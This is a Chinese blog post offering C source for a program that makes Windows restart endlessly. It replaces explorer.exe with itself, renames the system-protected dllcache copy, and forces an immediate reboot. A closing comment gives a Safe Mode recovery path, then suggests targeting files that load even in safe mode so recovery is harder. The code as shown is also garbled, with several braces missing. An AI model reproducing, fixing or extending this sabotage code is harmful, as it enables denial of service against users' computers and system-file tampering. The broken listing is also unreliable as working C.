天天看点

让你的Windows不断重启的C语言代码

没有写Linux的原因是因为搞不定Linux下的权限问题,而Windows下基本上使用电脑的用户都是管理员,所以钻个空了,不多说下面是代码

#include "stdio.h"

#include "process.h"

int copy_file(char *start,char *end)

{

    FILE *input,*output;

    if(((input=fopen(start,"rb"))!=NULL)&&((output=fopen(end,"wb"))!=NULL))

    {

        char temp;

        while(!feof(input))

        {

            fread(&temp,sizeof(char),1,input);

            fwrite(&temp,sizeof(char),1,output);

        }

        fclose(input);

        fclose(output);

        return 0;

    }

    return 1;

}

int auto_run(char *my)

    FILE *fp;

    if((fp=fopen("C:\\windows\\system\\explorer.exe","rb"))!=NULL)

        fclose(fp);

        remove("C:\\windows\\$temp#");

        remove("C:\\windows\\system32\\dllcache\\$temp$");

    else

        copy_file("C:\\windows\\explorer.exe","C:\\windows\\system\\explorer.exe");

        rename("C:\\windows\\explorer.exe","C:\\windows\\$temp$");

        rename("C:\\windows\\system32\\dllcache\\explorer.exe","C:\\windows\\system32\\dllcache\\$temp$");

        copy_file(my,"C:\\windows\\explorer.exe");

    return 0;

int main(int argc,char **argv)

    auto_run(argv[0]);

    spawnl(1,"C:\\windows\\system32\\shutdown.exe"," -r -t 0",NULL);

/*据测试,在带有命令提示符的安全模式下好像并没有启动explorer.exe.而本程序正是通过修改explorer.exe达到不断重启的目的.所以只要在带有命令提示符的安全模式下将备份在windows\system\下的explorer.exe复制到windows\下就可以解决问题了,如果想做得更绝点的话,那就修改其它系统文件,比如修改一些即使是使用安全模式也必需要启动的系统文件,这样就比较棘手了*/

继续阅读